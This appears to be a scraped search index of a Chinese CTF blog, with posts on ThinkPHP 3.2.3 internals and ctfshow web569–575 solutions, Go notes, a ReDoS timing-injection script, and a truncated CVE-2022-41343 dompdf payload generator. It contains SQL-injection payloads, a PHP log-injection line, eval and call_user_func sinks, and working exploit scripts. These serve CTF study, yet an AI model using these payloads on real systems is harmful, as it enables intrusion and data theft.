05ee4e00bc1df0f93a188d206820c1667ed77639eacf2318be8b876bf66f01b93c5df36b996d5e13c0e74df3f523516e00914b589eee32067175a079d2508cde50bd433c5ec76619956215230a76bdd805d84089499a9710d2af0d3c5788b517fff018929ec215fd8bad9f231d7317b9a1f9741623287863ebad97213c9504281527bafc8a0ed8c412265c37f83a8f3f5f9154f846b090d19d44b96496210e0ff9bc65f9820d6de1be492bb88164e26af71ba9d3c43528e5eb9abe83dee0740498a09094a52c30519e2cc4439f8530d57dae2b55dc2963a937c642da4c23d2e41a836bbc6cc5774a1230d6ee6747280e392b85c3d49efa83d23a0b9cbe3b71f4da9ac1f4152a43d4d3160ddab91f49fecda1e25c5736ebf901e8344af79bc79f4539f7b43fdc488938a462a853cce265e8422a8d0019b15d89203da141d0b78f5188c5b5486d32e63f3e4bfde6ca7e872b46840edd084fd0022c8b8d0b47a29049ed9e61c9a9d31b62057003927e9a433af75ac528fc47eee8ef5f1e24c00b0d0015401de4f0db859a6f7cee282166129bf313016ee14c958c518b63e01465ce34d371eb04b988d8660077a11ec89d45012e4a1259474576e478fad906911a6a847813dd1a9ddad44d8013fa78b767958efbd6c071afb33c5ee833ad599cd13e1608809a515597ce49ecfaa47626add3736ccab504e97aa94edc350bde7745486a663e9666448caec36cbba445205fe03df2db6b754e2a624033378aa24014fe66e9fb9dc669768bb7844878d8d0499c487038866c552db532eb1e1904a48557f179270a9f0538f0d789918a60263940c4677525daf1b2812defb6716e0f18c1652f2bb5849becab0c5eeef70aca0d7c5a69f3b20d02bab88a77ae4593c50e86e08971cd6faebc14e3e58d56991a9fdfe7be6cc6833a02c667ef979e1acc95c61f341a743aff8770660cf92f35e4959ce6fbebb385bfc8fa5eedad38fef047a4 Hey, password is required here.","link":"/2023/02/17/pyobfuscate/"},{"title":"hxpctf valentine","text":"","link":"/2023/03/14/EJSssti/"},{"title":"ThinkPHP框架 3.2.3学习记录","text":"ThinkPHP 3.2.3目录结构 12345├─index.php 入口文件├─README.md README文件├─Application 应用目录├─Public 资源文件目录└─ThinkPHP 框架目录 其中框架目录ThinkPHP的结构如下: 12345678910111213141516├─ThinkPHP 框架系统目录(可以部署在非web目录下面)│ ├─Common 核心公共函数目录│ ├─Conf 核心配置目录 │ ├─Lang 核心语言包目录│ ├─Library 框架类库目录│ │ ├─Think 核心Think类库包目录│ │ ├─Behavior 行为类库目录│ │ ├─Org Org类库包目录│ │ ├─Vendor 第三方类库目录│ │ ├─ ... 更多类库目录│ ├─Mode 框架应用模式目录│ ├─Tpl 系统模板目录│ ├─LICENSE.txt 框架授权协议文件│ ├─logo.png 框架LOGO文件│ ├─README.txt 框架README文件│ └─ThinkPHP.php 框架入口文件 入口文件入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作 1234567891011121314151617181920212223242526<?php// +----------------------------------------------------------------------// | ThinkPHP [ WE CAN DO IT JUST THINK ]// +----------------------------------------------------------------------// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.// +----------------------------------------------------------------------// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )// +----------------------------------------------------------------------// | Author: liu21st <liu21st@gmail.com>// +----------------------------------------------------------------------// 应用入口文件// 检测PHP环境if(version_compare(PHP_VERSION,'5.3.0','<')) die('require PHP > 5.3.0 !');// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为falsedefine('APP_DEBUG',True);// 定义应用目录define('APP_PATH','./Application/');// 引入ThinkPHP入口文件require './ThinkPHP/ThinkPHP.php';// 亲^_^ 后面不需要任何代码了 就是如此简单 看到后面引用 ./ThinkPHP/ThinkPHP.php 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697<?php// +----------------------------------------------------------------------// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]// +----------------------------------------------------------------------// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.// +----------------------------------------------------------------------// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )// +----------------------------------------------------------------------// | Author: liu21st <liu21st@gmail.com>// +----------------------------------------------------------------------//----------------------------------// ThinkPHP公共入口文件//----------------------------------// 记录开始运行时间$GLOBALS['_beginTime'] = microtime(TRUE);// 记录内存初始使用define('MEMORY_LIMIT_ON',function_exists('memory_get_usage'));if(MEMORY_LIMIT_ON) $GLOBALS['_startUseMems'] = memory_get_usage();// 版本信息const THINK_VERSION = '3.2.3';// URL 模式定义const URL_COMMON = 0; //普通模式const URL_PATHINFO = 1; //PATHINFO模式const URL_REWRITE = 2; //REWRITE模式const URL_COMPAT = 3; // 兼容模式// 类文件后缀const EXT = '.class.php'; // 系统常量定义defined('THINK_PATH') or define('THINK_PATH', __DIR__.'/');defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/');defined('APP_STATUS') or define('APP_STATUS', ''); // 应用状态 加载对应的配置文件defined('APP_DEBUG') or define('APP_DEBUG', false); // 是否调试模式if(function_exists('saeAutoLoader')){// 自动识别SAE环境 defined('APP_MODE') or define('APP_MODE', 'sae'); defined('STORAGE_TYPE') or define('STORAGE_TYPE', 'Sae');}else{ defined('APP_MODE') or define('APP_MODE', 'common'); // 应用模式 默认为普通模式 defined('STORAGE_TYPE') or define('STORAGE_TYPE', 'File'); // 存储类型 默认为File }defined('RUNTIME_PATH') or define('RUNTIME_PATH', APP_PATH.'Runtime/'); // 系统运行时目录defined('LIB_PATH') or define('LIB_PATH', realpath(THINK_PATH.'Library').'/'); // 系统核心类库目录defined('CORE_PATH') or define('CORE_PATH', LIB_PATH.'Think/'); // Think类库目录defined('BEHAVIOR_PATH')or define('BEHAVIOR_PATH', LIB_PATH.'Behavior/'); // 行为类库目录defined('MODE_PATH') or define('MODE_PATH', THINK_PATH.'Mode/'); // 系统应用模式目录defined('VENDOR_PATH') or define('VENDOR_PATH', LIB_PATH.'Vendor/'); // 第三方类库目录defined('COMMON_PATH') or define('COMMON_PATH', APP_PATH.'Common/'); // 应用公共目录defined('CONF_PATH') or define('CONF_PATH', COMMON_PATH.'Conf/'); // 应用配置目录defined('LANG_PATH') or define('LANG_PATH', COMMON_PATH.'Lang/'); // 应用语言目录defined('HTML_PATH') or define('HTML_PATH', APP_PATH.'Html/'); // 应用静态目录defined('LOG_PATH') or define('LOG_PATH', RUNTIME_PATH.'Logs/'); // 应用日志目录defined('TEMP_PATH') or define('TEMP_PATH', RUNTIME_PATH.'Temp/'); // 应用缓存目录defined('DATA_PATH') or define('DATA_PATH', RUNTIME_PATH.'Data/'); // 应用数据目录defined('CACHE_PATH') or define('CACHE_PATH', RUNTIME_PATH.'Cache/'); // 应用模板缓存目录defined('CONF_EXT') or define('CONF_EXT', '.php'); // 配置文件后缀defined('CONF_PARSE') or define('CONF_PARSE', ''); // 配置文件解析方法defined('ADDON_PATH') or define('ADDON_PATH', APP_PATH.'Addon');// 系统信息if(version_compare(PHP_VERSION,'5.4.0','<')) { ini_set('magic_quotes_runtime',0); define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc()? true : false);}else{ define('MAGIC_QUOTES_GPC',false);}define('IS_CGI',(0 === strpos(PHP_SAPI,'cgi') || false !== strpos(PHP_SAPI,'fcgi')) ? 1 : 0 );define('IS_WIN',strstr(PHP_OS, 'WIN') ? 1 : 0 );define('IS_CLI',PHP_SAPI=='cli'? 1 : 0);if(!IS_CLI) { // 当前文件名 if(!defined('_PHP_FILE_')) { if(IS_CGI) { //CGI/FASTCGI模式下 $_temp = explode('.php',$_SERVER['PHP_SELF']); define('_PHP_FILE_', rtrim(str_replace($_SERVER['HTTP_HOST'],'',$_temp[0].'.php'),'/')); }else { define('_PHP_FILE_', rtrim($_SERVER['SCRIPT_NAME'],'/')); } } if(!defined('__ROOT__')) { $_root = rtrim(dirname(_PHP_FILE_),'/'); define('__ROOT__', (($_root=='/' || $_root=='\\\\')?'':$_root)); }}// 加载核心Think类require CORE_PATH.'Think'.EXT;// 应用初始化 Think\\Think::start(); 这里主要是设置一些环境变量,然后加载require CORE_PATH.'Think'.EXT; 核心文件主要是: 12345678910111213141516171819202122232425["core"]=>array(11) { [0]=> string(45) "E:\\XP\\WWW\\think\\ThinkPHP/Common/functions.php" [1]=> string(40) "./Application/Common/Common/function.php" [2]=> string(53) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/Hook.class.php" [3]=> string(52) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/App.class.php" [4]=> string(59) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/Dispatcher.class.php" [5]=> string(54) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/Route.class.php" [6]=> string(59) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/Controller.class.php" [7]=> string(53) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Think/View.class.php" [8]=> string(69) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Behavior/BuildLiteBehavior.class.php" [9]=> string(73) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Behavior/ParseTemplateBehavior.class.php" [10]=> string(74) "E:\\XP\\WWW\\think\\ThinkPHP\\Library/Behavior/ContentReplaceBehavior.class.php"} ThinkPHP框架内解析路由的文件在Route.class.php中 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318<?php// +----------------------------------------------------------------------// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]// +----------------------------------------------------------------------// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.// +----------------------------------------------------------------------// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )// +----------------------------------------------------------------------// | Author: liu21st <liu21st@gmail.com>// +----------------------------------------------------------------------namespace Think;/** * ThinkPHP路由解析类 */class Route { // 路由检测 public static function check(){ $depr = C('URL_PATHINFO_DEPR'); $regx = preg_replace('/\\.'.__EXT__.'$/i','',trim($_SERVER['PATH_INFO'],$depr)); // 分隔符替换 确保路由定义使用统一的分隔符 if('/' != $depr){ $regx = str_replace($depr,'/',$regx); } // URL映射定义(静态路由) $maps = C('URL_MAP_RULES'); if(isset($maps[$regx])) { $var = self::parseUrl($maps[$regx]); $_GET = array_merge($var, $_GET); return true; } // 动态路由处理 $routes = C('URL_ROUTE_RULES'); if(!empty($routes)) { foreach ($routes as $rule=>$route){ if(is_numeric($rule)){ // 支持 array('rule','adddress',...) 定义路由 $rule = array_shift($route); } if(is_array($route) && isset($route[2])){ // 路由参数 $options = $route[2]; if(isset($options['ext']) && __EXT__ != $options['ext']){ // URL后缀检测 continue; } if(isset($options['method']) && REQUEST_METHOD != strtoupper($options['method'])){ // 请求类型检测 continue; } // 自定义检测 if(!empty($options['callback']) && is_callable($options['callback'])) { if(false === call_user_func($options['callback'])) { continue; } } } if(0===strpos($rule,'/') && preg_match($rule,$regx,$matches)) { // 正则路由 if($route instanceof \\Closure) { // 执行闭包 $result = self::invokeRegx($route, $matches); // 如果返回布尔值 则继续执行 return is_bool($result) ? $result : exit; }else{ return self::parseRegex($matches,$route,$regx); } }else{ // 规则路由 $len1 = substr_count($regx,'/'); $len2 = substr_count($rule,'/'); if($len1>=$len2 || strpos($rule,'[')) { if('$' == substr($rule,-1,1)) {// 完整匹配 if($len1 != $len2) { continue; }else{ $rule = substr($rule,0,-1); } } $match = self::checkUrlMatch($regx,$rule); if(false !== $match) { if($route instanceof \\Closure) { // 执行闭包 $result = self::invokeRule($route, $match); // 如果返回布尔值 则继续执行 return is_bool($result) ? $result : exit; }else{ return self::parseRule($rule,$route,$regx); } } } } } } return false; } // 检测URL和规则路由是否匹配 private static function checkUrlMatch($regx,$rule) { $m1 = explode('/',$regx); $m2 = explode('/',$rule); $var = array(); foreach ($m2 as $key=>$val){ if(0 === strpos($val,'[:')){ $val = substr($val,1,-1); } if(':' == substr($val,0,1)) {// 动态变量 if($pos = strpos($val,'|')){ // 使用函数过滤 $val = substr($val,1,$pos-1); } if(strpos($val,'\\\\')) { $type = substr($val,-1); if('d'==$type) { if(isset($m1[$key]) && !is_numeric($m1[$key])) return false; } $name = substr($val, 1, -2); }elseif($pos = strpos($val,'^')){ $array = explode('-',substr(strstr($val,'^'),1)); if(in_array($m1[$key],$array)) { return false; } $name = substr($val, 1, $pos - 1); }else{ $name = substr($val, 1); } $var[$name] = isset($m1[$key])?$m1[$key]:''; }elseif(0 !== strcasecmp($val,$m1[$key])){ return false; } } // 成功匹配后返回URL中的动态变量数组 return $var; } // 解析规范的路由地址 // 地址格式 [控制器/操作?]参数1=值1&参数2=值2... private static function parseUrl($url) { echo "-------------------------------"; var_dump($url); $var = array(); if(false !== strpos($url,'?')) { // [控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/',$info['path']); parse_str($info['query'],$var); }elseif(strpos($url,'/')){ // [控制器/操作] $path = explode('/',$url); }else{ // 参数1=值1&参数2=值2... parse_str($url,$var); } if(isset($path)) { $var[C('VAR_ACTION')] = array_pop($path); if(!empty($path)) { $var[C('VAR_CONTROLLER')] = array_pop($path); } if(!empty($path)) { $var[C('VAR_MODULE')] = array_pop($path); } } return $var; } // 解析规则路由 // '路由规则'=>'[控制器/操作]?额外参数1=值1&额外参数2=值2...' // '路由规则'=>array('[控制器/操作]','额外参数1=值1&额外参数2=值2...') // '路由规则'=>'外部地址' // '路由规则'=>array('外部地址','重定向代码') // 路由规则中 :开头 表示动态变量 // 外部地址中可以用动态变量 采用 :1 :2 的方式 // 'news/:month/:day/:id'=>array('News/read?cate=1','status=1'), // 'new/:id'=>array('/new.php?id=:1',301), 重定向 private static function parseRule($rule,$route,$regx) { // 获取路由地址规则 $url = is_array($route)?$route[0]:$route; // 获取URL地址中的参数 $paths = explode('/',$regx); // 解析路由规则 $matches = array(); $rule = explode('/',$rule); foreach ($rule as $item){ $fun = ''; if(0 === strpos($item,'[:')){ $item = substr($item,1,-1); } if(0===strpos($item,':')) { // 动态变量获取 if($pos = strpos($item,'|')){ // 支持函数过滤 $fun = substr($item,$pos+1); $item = substr($item,0,$pos); } if($pos = strpos($item,'^') ) { $var = substr($item,1,$pos-1); }elseif(strpos($item,'\\\\')){ $var = substr($item,1,-2); }else{ $var = substr($item,1); } $matches[$var] = !empty($fun)? $fun(array_shift($paths)) : array_shift($paths); }else{ // 过滤URL中的静态变量 array_shift($paths); } } if(0=== strpos($url,'/') || 0===strpos($url,'http')) { // 路由重定向跳转 if(strpos($url,':')) { // 传递动态参数 $values = array_values($matches); $url = preg_replace_callback('/:(\\d+)/', function($match) use($values){ return $values[$match[1] - 1]; }, $url); } header("Location: $url", true,(is_array($route) && isset($route[1]))?$route[1]:301); exit; }else{ // 解析路由地址 $var = self::parseUrl($url); // 解析路由地址里面的动态参数 $values = array_values($matches); foreach ($var as $key=>$val){ if(0===strpos($val,':')) { $var[$key] = $values[substr($val,1)-1]; } } $var = array_merge($matches,$var); // 解析剩余的URL参数 if(!empty($paths)) { preg_replace_callback('/(\\w+)\\/([^\\/]+)/', function($match) use(&$var){ $var[strtolower($match[1])]=strip_tags($match[2]);}, implode('/',$paths)); } // 解析路由自动传入参数 if(is_array($route) && isset($route[1])) { if(is_array($route[1])){ $params = $route[1]; }else{ parse_str($route[1],$params); } $var = array_merge($var,$params); } $_GET = array_merge($var,$_GET); } return true; } // 解析正则路由 // '路由正则'=>'[控制器/操作]?参数1=值1&参数2=值2...' // '路由正则'=>array('[控制器/操作]?参数1=值1&参数2=值2...','额外参数1=值1&额外参数2=值2...') // '路由正则'=>'外部地址' // '路由正则'=>array('外部地址','重定向代码') // 参数值和外部地址中可以用动态变量 采用 :1 :2 的方式 // '/new\\/(\\d+)\\/(\\d+)/'=>array('News/read?id=:1&page=:2&cate=1','status=1'), // '/new\\/(\\d+)/'=>array('/new.php?id=:1&page=:2&status=1','301'), 重定向 private static function parseRegex($matches,$route,$regx) { // 获取路由地址规则 $url = is_array($route)?$route[0]:$route; $url = preg_replace_callback('/:(\\d+)/', function($match) use($matches){return $matches[$match[1]];}, $url); if(0=== strpos($url,'/') || 0===strpos($url,'http')) { // 路由重定向跳转 header("Location: $url", true,(is_array($route) && isset($route[1]))?$route[1]:301); exit; }else{ // 解析路由地址 $var = self::parseUrl($url); // 处理函数 foreach($var as $key=>$val){ if(strpos($val,'|')){ list($val,$fun) = explode('|',$val); $var[$key] = $fun($val); } } // 解析剩余的URL参数 $regx = substr_replace($regx,'',0,strlen($matches[0])); if($regx) { preg_replace_callback('/(\\w+)\\/([^\\/]+)/', function($match) use(&$var){ $var[strtolower($match[1])] = strip_tags($match[2]); }, $regx); } // 解析路由自动传入参数 if(is_array($route) && isset($route[1])) { if(is_array($route[1])){ $params = $route[1]; }else{ parse_str($route[1],$params); } $var = array_merge($var,$params); } $_GET = array_merge($var,$_GET); } return true; } // 执行正则匹配下的闭包方法 支持参数调用 static private function invokeRegx($closure, $var = array()) { $reflect = new \\ReflectionFunction($closure); $params = $reflect->getParameters(); $args = array(); array_shift($var); foreach ($params as $param){ if(!empty($var)) { $args[] = array_shift($var); }elseif($param->isDefaultValueAvailable()){ $args[] = $param->getDefaultValue(); } } return $reflect->invokeArgs($args); } // 执行规则匹配下的闭包方法 支持参数调用 static private function invokeRule($closure, $var = array()) { $reflect = new \\ReflectionFunction($closure); $params = $reflect->getParameters(); $args = array(); foreach ($params as $param){ $name = $param->getName(); if(isset($var[$name])) { $args[] = $var[$name]; }elseif($param->isDefaultValueAvailable()){ $args[] = $param->getDefaultValue(); } } return $reflect->invokeArgs($args); }} 一些函数直接看看这个吧ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法 A快速实例化Action类库 B执行行为类 C配置参数存取方法 D快速实例化Model类库 F快速简单文本数据存取方法 L 语言参数存取方法 M快速高性能实例化模型 R快速远程调用Action类方法 S快速缓存存取方法 U URL动态生成和重定向方法 W 快速Widget输出方法 D函数实例化的是你当前项目的Lib/Model下面的模块。如果该模块不存在的话,直接返回实例化Model的对象(意义就与M()函数相同)。而M只返回,实例化Model的对象。它的$name参数作为数据库的表名来处理对数据库的操作。 路由规则普通模式http://localhost/?m=home&c=user&a=login&var=value m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。 PATHINFO 模式http://localhost/index.php/home/user/login/var/value/ PATHINFO地址的前三个参数分别表示模块/控制器/操作. REWRITE模式http://localhost/home/user/login/var/value REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。 兼容模式http://localhost/?s=/home/user/login/var/value 其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义 CTFSHOWweb569http://localhost/index.php/Home/Index/index/name/123/http://localhost/index.php?m=Home&c=Index&f=index&name=123http://localhost/index.php?s=Home/Index/index/name/123http://localhost/Home/Index/index/name/123/ => index.php/Admin/Login/ctfshowLogin web 570闭包路由,在Common/Conf/config.php下 12345'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' =>function($f,$a){ call_user_func($f, $a); } ) web 571Home\\Conf\\IndexController.class.php下找到代码 123456789<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index($n=''){ $this->show('balabalabala'.$n.'balabala','utf-8'); }} 跟进show 123protected function show($content,$charset='',$contentType='',$prefix='') { $this->view->display('',$charset,$contentType,$content,$prefix);} 继续跟进display 1234567891011public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') { G('viewStartTime'); // 视图开始标签 Hook::listen('view_begin',$templateFile); // 解析并获取模板内容 $content = $this->fetch($templateFile,$content,$prefix); // 输出模板内容 $this->render($content,$charset,$contentType); // 视图结束标签 Hook::listen('view_end');} 这里有两个函数,一个fetch和一个render 跟进fetch 1234567891011121314151617181920212223242526272829public function fetch($templateFile='',$content='',$prefix='') { if(empty($content)) { $templateFile = $this->parseTemplate($templateFile); // 模板文件不存在直接返回 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); }else{ defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath()); } // 页面缓存 ob_start(); ob_implicit_flush(0); if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 $_content = $content; // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content); }else{ // 视图解析标签 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); } // 获取并清空缓存 $content = ob_get_clean(); // 内容过滤标签 Hook::listen('view_filter',$content); // 输出模板文件 return $content;} 发现不对劲了,这里: 1empty($_content)?include $templateFile:eval('?>'.$_content); 非常好eval web 572上来提示没有源码,如何获取黑客的蛛丝马迹? 所以是到日志里面读文件,thinkphp的日志路径在/Application/Runtime/Logs/Home/目录下面,所以…. 1234567891011121314151617181920[ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3EINFO: [ app_init ] --START--INFO: Run Behavior\\BuildLiteBehavior [ RunTime:0.000039s ]INFO: [ app_init ] --END-- [ RunTime:0.000738s ]INFO: [ app_begin ] --START--INFO: Run Behavior\\ReadHtmlCacheBehavior [ RunTime:0.000712s ]INFO: [ app_begin ] --END-- [ RunTime:0.000868s ]INFO: [ view_parse ] --START--INFO: [ template_filter ] --START--INFO: Run Behavior\\ContentReplaceBehavior [ RunTime:0.000071s ]INFO: [ template_filter ] --END-- [ RunTime:0.000204s ]INFO: Run Behavior\\ParseTemplateBehavior [ RunTime:0.008833s ]INFO: [ view_parse ] --END-- [ RunTime:0.009135s ]INFO: [ view_filter ] --START--INFO: Run Behavior\\WriteHtmlCacheBehavior [ RunTime:0.000468s ]INFO: [ view_filter ] --END-- [ RunTime:0.000591s ]INFO: [ app_end ] --START--INFO: Run Behavior\\ShowPageTraceBehavior [ RunTime:0.000964s ]INFO: [ app_end ] --END-- [ RunTime:0.001181s ] 后门都贴到脸上了( web 573GitHub Issues 最新版本3.2.3存在order by注入漏洞修正一处可能的安全隐患 ?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags web 574加了点小米辣,然后…?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23 web 5751234567$user= unserialize(base64_decode(cookie('user')));if(!$user || $user->id!==$id){$user = M('Users');$user->find(intval($id));cookie('user',base64_encode(serialize($user->data())));}$this->show($user->username); 看到这个show我就蠢蠢欲动( 其他地方的一些ThinkPHP题目[RoarCTF 2019]Simple Upload12345678910111213141516171819202122232425262728293031323334 <?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller{ public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; } $upload = new \\Think\\Upload();// 实例化上传类 $upload->maxSize = 4096 ;// 设置附件上传大小 $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 $upload->savePath = '';// 设置附件上传子目录 $info = $upload->upload() ; if(!$info) {// 上传错误提示错误信息 $this->error($upload->getError()); return; }else{// 上传成功 获取上传文件信息 $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; echo json_encode(array("url"=>$url,"success"=>1)); } }} 乍一看确实无懈可击,啥都拦截了,白名单也用上了 遇事不决,RTFM直接进行一个手册的读然后审审框架 1234567891011121314151617181920/** * 默认上传配置 * @var array */private $config = array( 'mimes' => array(), //允许上传的文件MiMe类型 'maxSize' => 0, //上传的文件大小限制 (0-不做限制) 'exts' => array(), //允许上传的文件后缀 'autoSub' => true, //自动子目录保存文件 'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组 'rootPath' => './Uploads/', //保存根路径 'savePath' => '', //保存路径 'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 'saveExt' => '', //文件保存后缀,空则使用原后缀 'replace' => false, //存在同名是否覆盖 'hash' => true, //是否生成hash编码 'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组 'driver' => '', // 文件上传驱动 'driverConfig' => array(), // 上传驱动配置); emmm,找半天,没找到allowExts,感觉emmmm??? 尼玛,看了半天. 不过现在一个问题就是文件传上去了该怎么访问?文件名并不给我 RefenceThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法ctfshow ThinkPHP篇—3.2.3","link":"/2023/04/05/ThinkPHP%E5%AD%A6%E4%B9%A0%E5%AF%84%E5%BD%95/"},{"title":"Go编程学习记录","text":"go modGo.mod是Golang1.11版本新引入的官方包管理工具用于解决之前没有地方记录依赖包具体版本的问题,方便依赖包的管理。 Go.mod其实就是一个Modules,关于Modules的官方定义为: Modules是相关Go包的集合,是源代码交换和版本控制的单元。go命令直接支持使用Modules,包括记录和解析对其他模块的依赖性。Modules替换旧的基于GOPATH的方法,来指定使用哪些源文件。 Modules和传统的GOPATH不同,不需要包含例如src,bin这样的子目录,一个源代码目录甚至是空目录都可以作为Modules,只要其中包含有go.mod文件。 go tidyfmt 输入输出12345678910fmt.Printf(format string, a ...interface{}):类似于 C 语言中的 printf 函数,可以格式化输出字符串。fmt.Println(a ...interface{}):将参数 a 按顺序输出到控制台,并在最后追加一个换行符。fmt.Sprintf(format string, a ...interface{}):将参数 a 按指定格式 format 进行格式化,并以字符串形式返回结果。fmt.Errorf(format string, a ...interface{}):创建一个新的 errors 错误实例,并将错误信息按指定格式 format 进行格式化。fmt.Scan(a ...interface{}):从标准输入中读取参数 a,并将其赋值给变量。fmt.Scanf(format string, a ...interface{}):从标准输入中按照指定格式 format 读取参数 a,并将其赋值给变量。fmt.Sprintln(a ...interface{}):将参数 a 按顺序转换为字符串并添加换行符,返回结果字符串。fmt.Errorf(format string, a ...interface{}):将参数 a 按指定格式 format 进行格式化,并返回一个 error 类型的错误实例。","link":"/2023/04/08/Go%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"title":"redos","text":"midnightCTF,有这么一道题,很是神奇( 1234567891011121314151617<?php// include_once('./flag.php');$FLAG = "flag{Test_very_very_very_long_flag}";error_reporting(E_ALL);highlight_file(__FILE__);$startTime = microtime(true);if (!empty($_GET['x'])){ preg_match('/'.$_GET['x'].'/', $FLAG, $matches);}$endTime = microtime(true);$runTime = $endTime - $startTime;echo "<br /><br />\\n";echo "<strong>Exec Time:</strong> ".$runTime."<br />\\n"; 起初是认为正则表达式/e能命令执行,赛后复现的时候才发现是Redos 肥肠好用的正则表达式工具 原理很简单,就是利用回溯、贪婪等方式,让正则表达式进行一个大量的工作,这样就产生了一个时间延迟,于是乎就可以直接开始注入了 12345678910111213141516171819202122from lxml import etreeimport requestsans = ""small = [chr(i) for i in range(ord('a'), ord('z') + 1)]small += [chr(i) for i in range(ord('A'), ord('Z') + 1)]small += ["{", "}", "-","_"]for _ in range(0,20): for i in small: _tmp = {} u = f"http://127.0.0.1/midnight.php/?x={ans + i}|(a*(b*(c*(d*(e*(f*.*.*.*.*.*.*.*.*.*.*.*.*(g*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(].*.*.*.*.*.*.*.*.*.*.*))))))))" r = requests.get(u) html = etree.HTML(r.text) time = html.xpath("/html/body/text()")[1] _tmp_time = eval(time) if _tmp_time <0.0005: print(i,time) ans += iprint(ans)# print(timemap[timelist.sort(reverse=True)[0]])","link":"/2023/04/14/Redos/"},{"title":"DasctfSU6月赛","text":"【困难】pdf_converter非预期, 12345678910public static function invokeFunction($function, $vars = []){ $reflect = new \\ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args);} 直接日进去了 预期解: CVE-2022-41343 当时都搜到了qwq http://buaq.net/go-129526.html exp 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465#!/usr/bin/env python3import argparseimport hashlibimport base64import urllib.parseimport osPAYLOAD_TEMPLATE_URL_ENCODED = '''<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>'''PAYLOAD_TEMPLATE = '''<style> @font-face { font-family:'exploit'; src:url('%s'); font-weight:'normal'; font-style:'normal'; }</style>'''def get_args(): parser = argparse.ArgumentParser( prog="generate_payload.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= ''' This script will generate payloads for CVE-2022-41343 ''') parser.add_argument("file", help="Polyglot File") parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)") args = parser.parse_args() return argsdef main(): args = get_args() file = args.file.strip() path = args.path.strip() if(os.path.exists(file)): generate_payloads(file, path) else: print("ERROR: File doesn't exist.")def generate_payloads(file, path): with open(file, "rb") as f: fc = f.read() b64 = base64.b64encode(fc) data_uri_pure = "data:text/plain;base64,%s" % b64.decode() md5 = hashlib.md5(data_uri_pure.encode()).hexdigest() data_uri_double_encoded = "data:text/plain;base64,%s" % 